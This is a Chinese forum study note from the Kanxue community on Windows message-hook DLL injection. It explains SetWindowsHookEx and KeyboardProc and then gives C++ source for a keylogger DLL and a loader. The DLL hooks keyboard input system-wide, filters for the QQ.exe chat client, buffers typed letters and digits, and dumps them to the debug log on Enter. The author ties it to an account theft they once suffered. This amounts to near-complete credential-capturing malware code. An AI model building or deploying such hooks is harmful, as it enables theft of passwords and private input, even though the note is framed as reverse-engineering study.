其他
萌新逆向学习笔记——消息钩子键盘记录
本文为看雪论坛优秀文章
看雪论坛作者ID:psycongroo
0x0 前言
直到现在我学习了《逆向工程核心原理》,看到了DLL注入的一种方式——消息钩子注入。才忽然恍然大悟,仿佛抓到了当年被盗号的真相的尾巴。
0x1 准备事项
0x2 原理
0x3 API官方文档
HHOOK SetWindowsHookExW(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
LRESULT CALLBACK KeyboardProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
1.1 小于0:表示必须调用CallNextHookEx函数传递消息,传递给下一个钩子。并且不能做过多处理 1.2 等于0:表示参数wParam和lParam 包含关于按键虚拟值相关信息,相关具体值,可看文档(我们正是需要这种) 1.3 等于3:包含第二种情况,同时表示该按键事件被使用PeekMessage方法偷看过
0x4 实践
KeyHook.dll中内容:
#define DllExport __declspec(dllexport)
extern "C" {
DllExport void HookStart() { //导出自定义的HookStart函数
myHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, myModule, 0);
}
DllExport void HookStop() { //导出自定义的HookStop函数
UnhookWindowsHookEx(myHook);
myHook = NULL;
}
}
#define DEF_PROCESS_NAME L"QQ.exe"
LRESULT CALLBACK KeyboardProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
) {
WCHAR szPath[MAX_PATH] = { 0 };
WCHAR* p = NULL;
if (code == 0)
{
if (!(lParam & 0x80000000)) //松开按键判断,这里常规操作
{
GetModuleFileName(NULL, szPath, MAX_PATH); //获取当前调用该DLL的文件路径 如z:\sofeware\QQ\QQ.exe
p = wcsrchr(szPath, '\\'); //获取最后一个符号\后的字符串
setlocale(LC_ALL, ""); //使用_wcsicmp函数前的固定操作
BOOL isTarget = !_wcsicmp(p + 1, DEF_PROCESS_NAME); //判断当前进程是否为QQ.exe 若相等返回0,但TURE的值是1
BOOL isNumberLetter = wParam >= 0x30 && wParam <= 0x39 || wParam >= 0x41 && wParam <= 0x5A; //数字和字母判断
OutputDebugString(p+1); //输出到Debug日志
OutputDebugString(szPath);
if (isTarget && isNumberLetter)
{
result.push_back((WCHAR)wParam);
}
if (wParam == VK_RETURN) //回车键判断
{
OutputDebugString(getInput()); //输出结果
result.clear();
}
}
}
return CallNextHookEx(myHook, code, wParam, lParam);
}
HMODULE myModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
myModule = hModule; //初始化
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#define HOOK_START "HookStart"
#define HOOK_STOP "HookStop"
#define DLL_NAME "KeyHook.dll"
PEN_HOOKSTART hookStart = NULL;
PEN_HOOKSTOP hookStop = NULL;
HMODULE hdll;
hdll = LoadLibraryA(DLL_NAME); //通过名字加载同目录下的DLL文件,此时会调用DLL的DllMain函数
hookStop = (PEN_HOOKSTOP)GetProcAddress(hdll, HOOK_STOP); //通过函数名字和DLL句柄,获取函数地址
hookStart = (PEN_HOOKSTART)GetProcAddress(hdll, HOOK_START);
hookStart();
0x5 问题之所在
字母大小写
药引子程序卡死
如:笔者写的DLL为32位钩子,而目标程序为64位程序。
0x6 总结
看雪ID:psycongroo
https://bbs.pediy.com/user-899080.htm
*本文由看雪论坛 psycongroo 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看